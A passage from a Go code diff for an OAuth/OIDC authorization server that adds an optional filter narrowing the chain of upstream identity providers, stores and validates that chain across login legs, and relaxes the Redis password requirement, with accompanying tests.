error) { +func (h *Handler) nextMissingUpstream(ctx context.Context, sessionID string, chain []string) (string, error) { stored, err := h.storage.GetAllUpstreamTokens(ctx, sessionID) if err != nil { return "", fmt.Errorf("failed to check upstream token state: %w", err) } - for _, u := range h.upstreams { - tokens, ok := stored[u.Name] + for _, name := range chain { + tokens, ok := stored[name] if !ok || tokens == nil { // No token stored for this leg — prompt. - return u.Name, nil + return name, nil } // A live token (or one with no asserted expiry) satisfies the leg. if tokens.ExpiresAt.IsZero() || !tokens.IsExpired(time.Now()) { continue } // Expired — attempt a transparent refresh; prompt now if it can't be done. - if !h.refreshExpiredLeg(ctx, sessionID, u.Name, tokens) { - return u.Name, nil + if !h.refreshExpiredLeg(ctx, sessionID, name, tokens) { + return name, nil } } return "", nil } +// computeChain returns the ordered, effective set of upstream names this +// authorization must walk. The first configured upstream always leads the chain +// and is never filtered out. When no filter is configured, the chain is the full +// configured list in order (the behavior before the filter hook existed). When a +// filter is configured, it is consulted with the names of the non-first upstreams +// (in configured order) and the chain becomes the first upstream plus the kept +// subset. Configured order is preserved and any returned name that is not a +// non-first configured upstream is ignored, so the filter can only narrow — never +// reorder or extend — the chain. +// +// A filter error is returned to the caller so the authorization fails cleanly; it +// never silently falls back to walking every upstream. +// +// principal is the first upstream's resolved identity, passed through to the filter +// (see UpstreamFilter); it is unused when no filter is configured. +func (h *Handler) computeChain(ctx context.Context, principal auth.PrincipalInfo) ([]string, error) { + chain := []string{h.upstreams[0].Name} + rest := h.upstreams[1:] + if len(rest) == 0 { + return chain, nil + } + + restNames := make([]string, len(rest)) + for i := range rest { + restNames[i] = rest[i].Name + } + + if h.filter == nil { + return append(chain, restNames...), nil + } + + keep, err := h.filter.FilterUpstreams(ctx, principal, restNames) + if err != nil { + return nil, fmt.Errorf("upstream filter failed: %w", err) + } + + keepSet := make(map[string]struct{}, len(keep)) + for _, name := range keep { + keepSet[name] = struct{}{} + } + // Iterate configured order (not the filter's return order) so the chain + // preserves the operator-defined sequence and silently drops any name the + // filter returned that is not a non-first configured upstream. + for i := range rest { + if _, ok := keepSet[rest[i].Name]; ok { + chain = append(chain, rest[i].Name) + } + } + return chain, nil +} + +// resolveChain returns the effective upstream chain for the leg that just +// completed. A true first leg — identified by an as-yet-unresolved user +// (pending.ResolvedUserID == "") — computes the chain now, consulting the optional +// filter with this leg's request context. A subsequent leg reuses the chain the +// first leg carried forward in the pending authorization, after validating it +// against the configured upstreams. +// +// A subsequent leg whose pending carries no chain (e.g. one written before the +// ChainUpstreams field existed, a possible rolling-upgrade window on a persistent +// backend) is a hard error rather than a silent recompute: the filter's contract +// is to run once, with the first leg's context, so recomputing here with a later +// leg's context could narrow the chain against the wrong request. Failing closed +// forces a fresh authorization that starts cleanly at the first leg. +// +// principal is the identity resolved by the leg that just completed; it is passed +// to computeChain (and thus the filter) only on the first leg, where it reflects +// the identity provider. Subsequent legs reuse the stored chain and ignore it. +func (h *Handler) resolveChain( + ctx context.Context, + pending *storage.PendingAuthorization, + principal auth.PrincipalInfo, +) ([]string, error) { + if pending.ResolvedUserID == "" { + // True first leg — compute with this (the first) leg's request context. + return h.computeChain(ctx, principal) + } + if len(pending.ChainUpstreams) == 0 { + return nil, fmt.Errorf("subsequent chain leg is missing its computed upstream chain (stale pending authorization)") + } + if err := h.validateChain(pending.ChainUpstreams); err != nil { + return nil, fmt.Errorf("stored upstream chain is invalid: %w", err) + } + return pending.ChainUpstreams, nil +} + +// validateChain rejects an upstream chain loaded from storage that does not agree +// with the configured upstreams. A valid chain is a non-empty, in-order, +// duplicate-free subsequence of the configured upstreams led by the required +// first upstream. This guards the reuse path against a corrupt or tampered +// PendingAuthorization row shrinking or reordering an in-flight chain to skip legs +// — which would also silently disable the cross-leg identity check, since +// verifyChainIdentity is a no-op for a single-element chain. +// +// Note: this validates that each name is currently configured, not that the name +// still points at the same provider it did when the chain was computed. A name +// rebound to a different IdP mid-flight (a rolling config change) still validates; +// the frozen subject and the pending TTL bound that exposure. +func (h *Handler) validateChain(chain []string) error { + if len(chain) == 0 { + return fmt.Errorf("chain is empty") + } + if chain[0] != h.upstreams[0].Name { + return fmt.Errorf("chain must lead with the first configured upstream %q, got %q", + h.upstreams[0].Name, chain[0]) + } + // Walk both, advancing the config cursor past each match. A name that never + // matches — unconfigured, out of order, or a duplicate of an already-consumed + // entry — is rejected, so the stored chain is a faithful narrowing of the config. + ci := 0 + for _, name := range chain { + for ci < len(h.upstreams) && h.upstreams[ci].Name != name { + ci++ + } + if ci >= len(h.upstreams) { + return fmt.Errorf("chain entry %q is unconfigured, out of order, or duplicated", name) + } + ci++ // consume the matched upstream so it cannot be reused + } + return nil +} + // refreshExpiredLeg attempts to refresh an expired upstream token for one chain // leg. It returns true when the leg can be treated as authenticated (refresh // succeeded) and false when the user must be re-prompted: no refresher configured, diff --git a/pkg/authserver/server/handlers/handler_chain_test.go b/pkg/authserver/server/handlers/handler_chain_test.go index 114a8547ed..ba8abf59ff 100644 --- a/pkg/authserver/server/handlers/handler_chain_test.go +++ b/pkg/authserver/server/handlers/handler_chain_test.go @@ -17,6 +17,7 @@ import ( "github.com/stretchr/testify/require" "go.uber.org/mock/gomock" + "github.com/stacklok/toolhive/pkg/auth" "github.com/stacklok/toolhive/pkg/authserver/server" servercrypto "github.com/stacklok/toolhive/pkg/authserver/server/crypto" "github.com/stacklok/toolhive/pkg/authserver/storage" @@ -24,6 +25,228 @@ import ( "github.com/stacklok/toolhive/pkg/authserver/upstream" ) +// twoUpstreamChain is the effective chain for multiUpstreamTestSetup's two +// configured providers, in configured order. +var twoUpstreamChain = []string{"provider-1", "provider-2"} + +// stubUpstreamFilter is a hand-written test double for UpstreamFilter, mirroring +// the mockIDPProvider pattern used elsewhere in this package. It records how many +// times it was called and the arguments it was passed (the non-first upstream +// names and the resolved principal), and returns a canned keep set or error. +type stubUpstreamFilter struct { + keep []string + err error + calls int + capturedArgs []string + capturedPrincipal auth.PrincipalInfo +} + +func (f *stubUpstreamFilter) FilterUpstreams( + _ context.Context, + principal auth.PrincipalInfo, + configured []string, +) ([]string, error) { + f.calls++ + f.capturedArgs = configured + f.capturedPrincipal = principal + if f.err != nil { + return nil, f.err + } + return f.keep, nil +} + +// newChainTestHandler builds a Handler over upstreams named after the given +// slice (each backed by a throwaway OAuth2 mock provider), forwarding any +// Options. It exists so chain-resolution tests can control the exact number and +// order of configured upstreams. +func newChainTestHandler(t *testing.T, names []string, opts ...Option) *Handler { + t.Helper() + + provider, oauth2Config, stor, _ := baseTestSetup(t) + upstreams := make([]NamedUpstream, len(names)) + for i, n := range names { + upstreams[i] = NamedUpstream{Name: n, Provider: &mockIDPProvider{providerType: upstream.ProviderTypeOAuth2}} + } + handler, err := NewHandler(provider, oauth2Config, stor, upstreams, opts...) + require.NoError(t, err) + return handler +} + +func TestComputeChain(t *testing.T) { + t.Parallel() + + tests := []struct { + name string + upstreams []string + filter *stubUpstreamFilter + want []string + wantErr bool + wantCalls int + wantFilterIn []string + }{ + { + name: "no filter walks all configured upstreams in order", + upstreams: []string{"provider-1", "provider-2", "provider-3"}, + filter: nil, + want: []string{"provider-1", "provider-2", "provider-3"}, + }, + { + name: "single upstream does not consult filter", + upstreams: []string{"provider-1"}, + filter: &stubUpstreamFilter{keep: []string{"anything"}}, + want: []string{"provider-1"}, + wantCalls: 0, + }, + { + name: "filter keeps a subset, first upstream always leads", + upstreams: []string{"provider-1", "provider-2", "provider-3"}, + filter: &stubUpstreamFilter{keep: []string{"provider-3"}}, + want: []string{"provider-1", "provider-3"}, + wantCalls: 1, + wantFilterIn: []string{"provider-2", "provider-3"}, + }, + { + name: "filter keeps none leaves only the first upstream", + upstreams: []string{"provider-1", "provider-2", "provider-3"}, + filter: &stubUpstreamFilter{keep: []string{}}, + want: []string{"provider-1"}, + wantCalls: 1, + wantFilterIn: []string{"provider-2", "provider-3"}, + }, + { + name: "returned order is ignored, configured order is preserved", + upstreams: []string{"provider-1", "provider-2", "provider-3"}, + filter: &stubUpstreamFilter{keep: []string{"provider-3", "provider-2"}}, + want: []string{"provider-1", "provider-2", "provider-3"}, + wantCalls: 1, + }, + { + name: "unknown and first-upstream names in keep set are ignored", + upstreams: []string{"provider-1", "provider-2"}, + filter: &stubUpstreamFilter{keep: []string{"provider-1", "does-not-exist", "provider-2"}}, + want: []string{"provider-1", "provider-2"}, + wantCalls: 1, + }, + { + name: "filter error is propagated, no fallback to full walk", + upstreams: []string{"provider-1", "provider-2"}, + filter: &stubUpstreamFilter{err: errors.New("filter boom")}, + wantErr: true, + wantCalls: 1, + }, + } + + for _, tt := range tests { + t.Run(tt.name, func(t *testing.T) { + t.Parallel() + + var opts []Option + if tt.filter != nil { + opts = append(opts, WithUpstreamFilter(tt.filter)) + } + handler := newChainTestHandler(t, tt.upstreams, opts...) + + principal := auth.PrincipalInfo{ + PlatformUserID: "canonical-user-1", + Subject: "upstream-sub-1", + Email: "user@example.com", + Claims: map[string]any{"groups": []any{"admins"}}, + } + + got, err := handler.computeChain(context.Background(), principal) + if tt.wantErr { + require.Error(t, err) + assert.Nil(t, got) + } else { + require.NoError(t, err) + assert.Equal(t, tt.want, got) + } + if tt.filter != nil { + assert.Equal(t, tt.wantCalls, tt.filter.calls, "filter call count") + if tt.wantFilterIn != nil { + assert.Equal(t, tt.wantFilterIn, tt.filter.capturedArgs, + "filter must receive non-first configured upstreams in order") + } + if tt.wantCalls > 0 { + assert.Equal(t, principal, tt.filter.capturedPrincipal, + "filter must receive the resolved principal (platform user, subject + claims) verbatim") + } + } + }) + } +} + +func TestValidateChain(t *testing.T) { + t.Parallel() + + // Configured order is provider-1, provider-2, provider-3. + handler := newChainTestHandler(t, []string{"provider-1", "provider-2", "provider-3"}) + + tests := []struct { + name string + chain []string + wantErr string // substring to match; empty means no error expected + }{ + {name: "full configured chain", chain: []string{"provider-1", "provider-2", "provider-3"}}, + {name: "in-order subsequence", chain: []string{"provider-1", "provider-3"}}, + {name: "first upstream only", chain: []string{"provider-1"}}, + {name: "empty chain", chain: nil, wantErr: "chain is empty"}, + { + name: "wrong first upstream", chain: []string{"provider-2", "provider-3"}, + wantErr: "must lead with the first configured upstream", + }, + { + name: "unconfigured entry", chain: []string{"provider-1", "provider-x"}, + wantErr: "unconfigured, out of order, or duplicated", + }, + { + name: "out of order", chain: []string{"provider-1", "provider-3", "provider-2"}, + wantErr: "unconfigured, out of order, or duplicated", + }, + { + name: "duplicate first upstream", chain: []string{"provider-1", "provider-1"}, + wantErr: "unconfigured, out of order, or duplicated", + }, + { + name: "duplicate non-first upstream", chain: []string{"provider-1", "provider-2", "provider-2"}, + wantErr: "unconfigured, out of order, or duplicated", + }, + } + + for _, tt := range tests { + t.Run(tt.name, func(t *testing.T) { + t.Parallel() + + err := handler.validateChain(tt.chain) + if tt.wantErr == "" { + assert.NoError(t, err) + } else { + require.Error(t, err) + assert.ErrorContains(t, err, tt.wantErr) + } + }) + } +} + +// TestNextMissingUpstream_RespectsChainSubset verifies that a leg absent from the +// chain is never reported missing even when it has no stored token — the filter +// dropped it, so the walk must not prompt for it. +func TestNextMissingUpstream_RespectsChainSubset(t *testing.T) { + t.Parallel() + + handler, storState, _, _ := multiUpstreamTestSetup(t) + // provider-1 satisfied; provider-2 has no token but is not in the chain. + storState.upstreamTokens["test-session:provider-1"] = &storage.UpstreamTokens{ + ProviderID: "provider-1", + AccessToken: "tok-1", + ExpiresAt: time.Now().Add(time.Hour), + } + + got, err := handler.nextMissingUpstream(context.Background(), "test-session", []string{"provider-1"}) + require.NoError(t, err) + assert.Empty(t, got, "provider-2 is not in the chain, so it must not be prompted") +} + func TestNextMissingUpstream(t *testing.T) { t.Parallel() @@ -74,7 +297,7 @@ func TestNextMissingUpstream(t *testing.T) { handler, storState, _, _ := multiUpstreamTestSetup(t) tt.setupTokens(storState) - got, err := handler.nextMissingUpstream(context.Background(), "test-session") + got, err := handler.nextMissingUpstream(context.Background(), "test-session", twoUpstreamChain) require.NoError(t, err) assert.Equal(t, tt.want, got) }) @@ -167,7 +390,7 @@ func TestNextMissingUpstream_RefreshExpired(t *testing.T) { handler, storState, _, _ := multiUpstreamTestSetup(t, opts...) tt.setupTokens(storState) - got, err := handler.nextMissingUpstream(context.Background(), "test-session") + got, err := handler.nextMissingUpstream(context.Background(), "test-session", twoUpstreamChain) require.NoError(t, err) assert.Equal(t, tt.want, got) }) @@ -237,7 +460,7 @@ func TestNextMissingUpstream_StorageError(t *testing.T) { ) require.NoError(t, err) - got, err := handler.nextMissingUpstream(context.Background(), "test-session") + got, err := handler.nextMissingUpstream(context.Background(), "test-session", twoUpstreamChain) require.Error(t, err) assert.ErrorContains(t, err, "failed to check upstream token state") assert.ErrorIs(t, err, storageErr) diff --git a/pkg/authserver/server/handlers/token.go b/pkg/authserver/server/handlers/token.go index 46efc43ab3..ec5066e5fa 100644 --- a/pkg/authserver/server/handlers/token.go +++ b/pkg/authserver/server/handlers/token.go @@ -119,6 +119,12 @@ func (h *Handler) TokenHandler(w http.ResponseWriter, req *http.Request) { } func logTokenEndpointError(phase string, req *http.Request, err error) { + slog.Error("token endpoint request failed", tokenEndpointErrorAttrs(phase, req, err)...) +} + +// tokenEndpointErrorAttrs builds the structured log attributes for a failed +// token endpoint request. +func tokenEndpointErrorAttrs(phase string, req *http.Request, err error) []any { oauthErr := fosite.ErrorToRFC6749Error(err) grantType := req.PostFormValue("grant_type") @@ -143,7 +149,7 @@ func logTokenEndpointError(phase string, req *http.Request, err error) { attrs = append(attrs, "refresh_failure_classification", classifyRefreshTokenFailure(oauthErr)) } - slog.Error("token endpoint request failed", attrs...) + return attrs } func classifyRefreshTokenFailure(err *fosite.RFC6749Error) string { diff --git a/pkg/authserver/server/handlers/token_test.go b/pkg/authserver/server/handlers/token_test.go index 23f923faa9..bef8ba602c 100644 --- a/pkg/authserver/server/handlers/token_test.go +++ b/pkg/authserver/server/handlers/token_test.go @@ -21,6 +21,7 @@ import ( "github.com/stretchr/testify/require" servercrypto "github.com/stacklok/toolhive/pkg/authserver/server/crypto" + "github.com/stacklok/toolhive/pkg/authserver/server/session" "github.com/stacklok/toolhive/pkg/authserver/storage" "github.com/stacklok/toolhive/pkg/authserver/upstream" ) @@ -199,23 +200,37 @@ func TestClassifyRefreshTokenFailure(t *testing.T) { } func TestTokenHandler_InvalidRefreshTokenLogsClassification(t *testing.T) { + t.Parallel() handler, _, _ := handlerTestSetup(t) - logBuf := setTestLogger(t) - form := url.Values{ - "grant_type": {"refresh_token"}, - "client_id": {testAuthClientID}, - "refresh_token": {"invalid-refresh-token"}, + newRequest := func() *http.Request { + form := url.Values{ + "grant_type": {"refresh_token"}, + "client_id": {testAuthClientID}, + "refresh_token": {"invalid-refresh-token"}, + } + req := httptest.NewRequest(http.MethodPost, "/oauth/token", strings.NewReader(form.Encode())) + req.Header.Set("Content-Type", "application/x-www-form-urlencoded") + return req } - req := httptest.NewRequest(http.MethodPost, "/oauth/token", strings.NewReader(form.Encode())) - req.Header.Set("Content-Type", "application/x-www-form-urlencoded") rec := httptest.NewRecorder() - handler.TokenHandler(rec, req) + handler.TokenHandler(rec, newRequest()) assert.Equal(t, http.StatusBadRequest, rec.Code) assert.Contains(t, rec.Body.String(), "invalid_grant") + // Rebuild the validation error that TokenHandler logs and render its log + // attributes with a local logger. The process-wide slog default is not + // replaced, so the test can run in parallel with the others. + req := newRequest() + _, err := handler.provider.NewAccessRequest(req.Context(), req, session.New("", "", "", session.UserClaims{})) + require.Error(t, err) + + var logBuf bytes.Buffer + logger := slog.New(slog.NewTextHandler(&logBuf, &slog.HandlerOptions{Level: slog.LevelDebug})) + logger.Error("token endpoint request failed", tokenEndpointErrorAttrs("request_validation", req, err)...) + logOutput := logBuf.String() assert.Contains(t, logOutput, "token endpoint request failed") assert.Contains(t, logOutput, "phase=request_validation") @@ -513,19 +528,3 @@ func parseTokenResponse(t *testing.T, body string) map[string]interface{} { require.NoError(t, err, "token response should be valid JSON") return tokenData } - -func setTestLogger(t *testing.T) *bytes.Buffer { - t.Helper() - - var buf bytes.Buffer - logger := slog.New(slog.NewTextHandler(&buf, &slog.HandlerOptions{Level: slog.LevelDebug})) - - prev := slog.Default() - slog.SetDefault(logger) - - t.Cleanup(func() { - slog.SetDefault(prev) - }) - - return &buf -} diff --git a/pkg/authserver/server_impl.go b/pkg/authserver/server_impl.go index c0b54166b7..007446ce12 100644 --- a/pkg/authserver/server_impl.go +++ b/pkg/authserver/server_impl.go @@ -207,7 +207,7 @@ func newServer(ctx context.Context, cfg Config, stor storage.Storage, opts ...se // ensuring both paths share one singleflight.Group. refresher := newUpstreamTokenRefresher(upstreams, stor, cfg.RefreshTokenLifespan) handlerInstance, err := handlers.NewHandler(fositeProvider, authServerConfig, stor, upstreams, - handlers.WithUpstreamRefresher(refresher)) + buildHandlerOptions(refresher, cfg.UpstreamFilter)...) if err != nil { return nil, fmt.Errorf("failed to create handler: %w", err) } @@ -228,6 +228,18 @@ func newServer(ctx context.Context, cfg Config, stor storage.Storage, opts ...se }, nil } +// buildHandlerOptions assembles the handlers.Option list for NewHandler: the +// refresher is always wired, and the filter is added only when the caller's +// Config sets one so a nil Config.UpstreamFilter preserves the pre-filter +// behavior of walking every configured upstream. +func buildHandlerOptions(refresher storage.UpstreamTokenRefresher, filter handlers.UpstreamFilter) []handlers.Option { + opts := []handlers.Option{handlers.WithUpstreamRefresher(refresher)} + if filter != nil { + opts = append(opts, handlers.WithUpstreamFilter(filter)) + } + return opts +} + // Handler returns the HTTP handler that serves all OAuth/OIDC endpoints. func (s *server) Handler() http.Handler { return s.handler diff --git a/pkg/authserver/storage/memory.go b/pkg/authserver/storage/memory.go index 1887b81a5b..639ad3dc23 100644 --- a/pkg/authserver/storage/memory.go +++ b/pkg/authserver/storage/memory.go @@ -965,6 +965,7 @@ func (s *MemoryStorage) StorePendingAuthorization(_ context.Context, state strin ResolvedUserName: pending.ResolvedUserName, ResolvedUserEmail: pending.ResolvedUserEmail, SingleLeg: pending.SingleLeg, + ChainUpstreams: slices.Clone(pending.ChainUpstreams), CreatedAt: pending.CreatedAt, } @@ -1015,6 +1016,7 @@ func (s *MemoryStorage) LoadPendingAuthorization(_ context.Context, state string ResolvedUserName: pending.ResolvedUserName, ResolvedUserEmail: pending.ResolvedUserEmail, SingleLeg: pending.SingleLeg, + ChainUpstreams: slices.Clone(pending.ChainUpstreams), CreatedAt: pending.CreatedAt, }, nil } diff --git a/pkg/authserver/storage/memory_test.go b/pkg/authserver/storage/memory_test.go index d4997d9ae7..968238d342 100644 --- a/pkg/authserver/storage/memory_test.go +++ b/pkg/authserver/storage/memory_test.go @@ -871,7 +871,8 @@ func TestMemoryStorage_PendingAuthorization(t *testing.T) { State: "client-state", PKCEChallenge: "challenge", PKCEMethod: "S256", Scopes: []string{"openid", "profile"}, InternalState: state, UpstreamPKCEVerifier: "verifier", UpstreamNonce: "nonce", - SingleLeg: true, CreatedAt: time.Now(), + SingleLeg: true, ChainUpstreams: []string{"provider-1", "provider-2"}, + CreatedAt: time.Now(), } } @@ -886,6 +887,7 @@ func TestMemoryStorage_PendingAuthorization(t *testing.T) { assert.Equal(t, pending.PKCEChallenge, retrieved.PKCEChallenge) assert.Equal(t, pending.Scopes, retrieved.Scopes) assert.Equal(t, pending.SingleLeg, retrieved.SingleLeg) + assert.Equal(t, pending.ChainUpstreams, retrieved.ChainUpstreams) }) }) diff --git a/pkg/authserver/storage/redis.go b/pkg/authserver/storage/redis.go index 1be4376202..ea4d3ec421 100644 --- a/pkg/authserver/storage/redis.go +++ b/pkg/authserver/storage/redis.go @@ -107,16 +107,14 @@ type storedSession struct { // NewRedisStorage creates Redis-backed storage. Connection-mode topology, // timeouts, TLS, and credentials are configured through cfg; keyPrefix is the -// per-tenant key prefix (e.g. "thv:auth:{ns}:{name}:"). The auth server -// requires ACL authentication, so cfg.Password and keyPrefix must be non-empty. +// per-tenant key prefix (e.g. "thv:auth:{ns}:{name}:") and must be non-empty. // // Connection-mode validation, timeout defaults, client construction (standalone, // cluster, or sentinel), TLS plumbing, and connectivity verification are -// delegated to the shared toolhive-core redis package. +// delegated to the shared toolhive-core redis package. cfg.Password may be +// empty when the Redis server does not require authentication (the auth server +// does not mandate ACL auth); the keyPrefix is storage-specific and required. func NewRedisStorage(ctx context.Context, cfg tcredis.Config, keyPrefix string) (*RedisStorage, error) { - if cfg.Password == "" { - return nil, errors.New("invalid redis configuration: ACL password is required") - } if keyPrefix == "" { return nil, errors.New("invalid redis configuration: key prefix is required") } @@ -816,6 +814,8 @@ func marshalUpstreamTokensWithTTL(tokens *UpstreamTokens) ([]byte, time.Duration // StoreUpstreamTokens stores the upstream IDP tokens for a session and provider. // The write is coordinated with WATCH/MULTI so Dragonfly sees every accessed key // explicitly and reverse-index maintenance stays consistent under concurrent writes. +// +//nolint:gocyclo // the WATCH/MULTI retry and index-TTL rules replace a single Lua script func (s *RedisStorage) StoreUpstreamTokens(ctx context.Context, sessionID, providerName string, tokens *UpstreamTokens) error { if sessionID == "" { return fosite.ErrInvalidRequest.WithHint("session ID cannot be empty") @@ -1404,6 +1404,7 @@ type storedPendingAuthorization struct { ResolvedUserName string `json:"resolved_user_name,omitempty"` ResolvedUserEmail string `json:"resolved_user_email,omitempty"` SingleLeg bool `json:"single_leg,omitempty"` + ChainUpstreams []string `json:"chain_upstreams,omitempty"` CreatedAt int64 `json:"created_at"` } @@ -1434,6 +1435,7 @@ func (s *RedisStorage) StorePendingAuthorization(ctx context.Context, state stri ResolvedUserName: pending.ResolvedUserName, ResolvedUserEmail: pending.ResolvedUserEmail, SingleLeg: pending.SingleLeg, + ChainUpstreams: slices.Clone(pending.ChainUpstreams), CreatedAt: pending.CreatedAt.Unix(), } @@ -1485,6 +1487,7 @@ func (s *RedisStorage) LoadPendingAuthorization(ctx context.Context, state strin ResolvedUserName: stored.ResolvedUserName, ResolvedUserEmail: stored.ResolvedUserEmail, SingleLeg: stored.SingleLeg, + ChainUpstreams: slices.Clone(stored.ChainUpstreams), CreatedAt: createdAt, }, nil } diff --git a/pkg/authserver/storage/redis_test.go b/pkg/authserver/storage/redis_test.go index 731fdb44d4..23f7459e77 100644 --- a/pkg/authserver/storage/redis_test.go +++ b/pkg/authserver/storage/redis_test.go @@ -99,12 +99,13 @@ func requireRedisNotFoundError(t *testing.T, err error) { // TestNewRedisStorage_Validation covers the auth-server-specific invariants // enforced by NewRedisStorage. Connection-mode topology (Addr XOR Sentinel, -// cluster requires Addr, sentinel master name and addresses) is validated by -// the shared toolhive-core redis package and exercised in its own tests. +// cluster requires Addr, sentinel master name and addresses) and credentials +// are validated by the shared toolhive-core redis package and exercised in its +// own tests; NewRedisStorage does not mandate a password. func TestNewRedisStorage_Validation(t *testing.T) { t.Parallel() - validACL := func() tcredis.Config { + validCfg := func() tcredis.Config { return tcredis.Config{Addr: "localhost:6379", Username: "user", Password: "pass"} } @@ -114,15 +115,9 @@ func TestNewRedisStorage_Validation(t *testing.T) { keyPrefix string wantErr string }{ - { - name: "missing ACL password", - cfg: tcredis.Config{Addr: "localhost:6379", Username: "user"}, - keyPrefix: "test:", - wantErr: "ACL password is required", - }, { name: "missing key prefix", - cfg: validACL(), + cfg: validCfg(), keyPrefix: "", wantErr: "key prefix is required", }, @@ -214,6 +209,24 @@ func TestNewRedisStorage_Standalone_WithMiniredis(t *testing.T) { require.NoError(t, s.Health(ctx)) } +// TestNewRedisStorage_Standalone_Passwordless verifies that an auth-disabled +// Redis (no ACL) is accepted, matching toolhive-core's Config contract where +// Password "may be empty when the server does not require authentication". +func TestNewRedisStorage_Standalone_Passwordless(t *testing.T) { + t.Parallel() + + mr := miniredis.RunT(t) // no RequireUserAuth → auth disabled + + cfg := tcredis.Config{Addr: mr.Addr()} + + ctx := context.Background() + s, err := NewRedisStorage(ctx, cfg, "test:") + require.NoError(t, err) + t.Cleanup(func() { _ = s.Close() }) + + require.NoError(t, s.Health(ctx)) +} + // --- Client Tests --- func TestRedisStorage_Client(t *testing.T) { @@ -1416,7 +1429,8 @@ func TestRedisStorage_PendingAuthorization(t *testing.T) { State: "client-state", PKCEChallenge: "challenge", PKCEMethod: "S256", Scopes: []string{"openid", "profile"}, InternalState: state, UpstreamPKCEVerifier: "verifier", UpstreamNonce: "nonce", - SingleLeg: true, CreatedAt: time.Now(), + SingleLeg: true, ChainUpstreams: []string{"provider-1", "provider-2"}, + CreatedAt: time.Now(), } } @@ -1431,6 +1445,43 @@ func TestRedisStorage_PendingAuthorization(t *testing.T) { assert.Equal(t, pending.PKCEChallenge, retrieved.PKCEChallenge) assert.Equal(t, pending.Scopes, retrieved.Scopes) assert.Equal(t, pending.SingleLeg, retrieved.SingleLeg) + assert.Equal(t, pending.ChainUpstreams, retrieved.ChainUpstreams) + }) + }) + + t.Run("legacy JSON without chain_upstreams decodes with empty ChainUpstreams", func(t *testing.T) { + // Pin the wire-shape contract: pre-feature Redis data that has no + // "chain_upstreams" key must deserialise to an empty ChainUpstreams, which + // the callback treats as "no chain computed yet". A JSON tag rename or a + // DisallowUnknownFields flip would break this without failing another test. + withRedisStorage(t, func(ctx context.Context, s *RedisStorage, mr *miniredis.Miniredis) { + legacyJSON := fmt.Sprintf(`{ + "client_id": "legacy-client", + "redirect_uri": "https://example.com/callback", + "state": "client-state", + "pkce_challenge": "challenge", + "pkce_method": "S256", + "scopes": ["openid"], + "internal_state": "legacy-internal-state", + "upstream_pkce_verifier": "verifier", + "upstream_nonce": "nonce", + "session_id": "legacy-session", + "created_at": %d + }`, time.Now().Unix()) + + // Inject directly into miniredis, bypassing the Store path, to simulate a + // pre-feature row written without "chain_upstreams". + key := redisKey(s.keyPrefix, KeyTypePending, "legacy-internal-state") + require.NoError(t, mr.Set(key, legacyJSON)) + + retrieved, err := s.LoadPendingAuthorization(ctx, "legacy-internal-state") + require.NoError(t, err) + require.NotNil(t, retrieved) + + assert.Empty(t, retrieved.ChainUpstreams, "legacy record must decode with empty ChainUpstreams") + // Sanity-check that unrelated fields still populate from the legacy blob. + assert.Equal(t, "legacy-client", retrieved.ClientID) + assert.Equal(t, "legacy-session", retrieved.SessionID) }) }) diff --git a/pkg/authserver/storage/types.go b/pkg/authserver/storage/types.go index 320f5920b2..91490cd0ab 100644 --- a/pkg/authserver/storage/types.go +++ b/pkg/authserver/storage/types.go @@ -458,6 +458,16 @@ type PendingAuthorization struct { // preserves the multi-upstream chaining behavior. SingleLeg bool + // ChainUpstreams is the ordered, effective set of upstream provider names this + // authorization must walk, always led by the required first upstream. It is + // computed once when the first leg resolves — narrowed by the optional upstream + // filter when one is configured — and carried forward across subsequent legs so + // the filter is not re-run per leg. Empty on the first leg's inbound pending; + // populated on every subsequent leg. A subsequent leg that arrives with this + // unset (e.g. a pending written before this field existed) is rejected rather + // than recomputed, so the filter is never re-run against a later leg's context. + ChainUpstreams []string + // CreatedAt is when the pending authorization was created. CreatedAt time.Time } diff --git a/pkg/authserver/upstream/oauth2.go b/pkg/authserver/upstream/oauth2.go index 22809b3ad0..11153f9dd9 100644 --- a/pkg/authserver/upstream/oauth2.go +++ b/pkg/authserver/upstream/oauth2.go @@ -496,6 +496,7 @@ func (p *BaseOAuth2Provider) ExchangeCodeForIdentity(ctx context.Context, code, Subject: userInfo.Subject, Name: userInfo.Name, Email: userInfo.Email, + Claims: userInfo.Claims, }, nil } diff --git a/pkg/authserver/upstream/oidc.go b/pkg/authserver/upstream/oidc.go index 36ed03572a..35e95853ea 100644 --- a/pkg/authserver/upstream/oidc.go +++ b/pkg/authserver/upstream/oidc.go @@ -211,7 +211,7 @@ func NewOIDCProvider( } // Security validation - go-oidc doesn't check endpoint origins - if err := validateDiscoveryDocument(endpoints, config.Issuer); err != nil { + if err := validateDiscoveryDocument(endpoints, config.Issuer, config.InsecureAllowHTTP); err != nil { return nil, fmt.Errorf("invalid discovery document: %w", err) } @@ -344,11 +344,22 @@ func (p *OIDCProviderImpl) ExchangeCodeForIdentity( return nil, fmt.Errorf("%w: %w", ErrIdentityResolutionFailed, err) } + // Capture all ID-token claims for downstream authorization inputs. Best-effort: + // the subject/name/email above are already resolved, so a claims-extraction + // failure only loses the enrichment, it does not fail the login. + var allClaims map[string]any + if err := validatedToken.Claims(&allClaims); err != nil { + slog.Warn("failed to extract full claims from ID token for authorization inputs", + "error", err, + ) + } + return &Identity{ Tokens: exchanged.tokens, Subject: subject, Name: idClaims.Name, Email: idClaims.Email, + Claims: allClaims, }, nil } @@ -528,7 +539,7 @@ func (p *OIDCProviderImpl) RefreshTokens(ctx context.Context, refreshToken, expe // // Note: Issuer match validation (exact match per OIDC spec) is performed by go-oidc's // NewProvider() before this function is called. -func validateDiscoveryDocument(doc *oauthproto.OIDCDiscoveryDocument, expectedIssuer string) error { +func validateDiscoveryDocument(doc *oauthproto.OIDCDiscoveryDocument, expectedIssuer string, insecureAllowHTTP bool) error { // Validate required OIDC fields per spec if err := doc.Validate(true); err != nil { return err @@ -536,23 +547,23 @@ func validateDiscoveryDocument(doc *oauthproto.OIDCDiscoveryDocument, expectedIs // Security: validate that discovered endpoints use secure schemes. // This prevents a malicious discovery document from redirecting requests to attacker-controlled servers. - if err := validateEndpointOrigin(doc.AuthorizationEndpoint, expectedIssuer); err != nil { + if err := validateEndpointOrigin(doc.AuthorizationEndpoint, expectedIssuer, insecureAllowHTTP); err != nil { return fmt.Errorf("authorization_endpoint origin mismatch: %w", err) } - if err := validateEndpointOrigin(doc.TokenEndpoint, expectedIssuer); err != nil { + if err := validateEndpointOrigin(doc.TokenEndpoint, expectedIssuer, insecureAllowHTTP); err != nil { return fmt.Errorf("token_endpoint origin mismatch: %w", err) } // Optional endpoints - only validate if present if doc.UserinfoEndpoint != "" { - 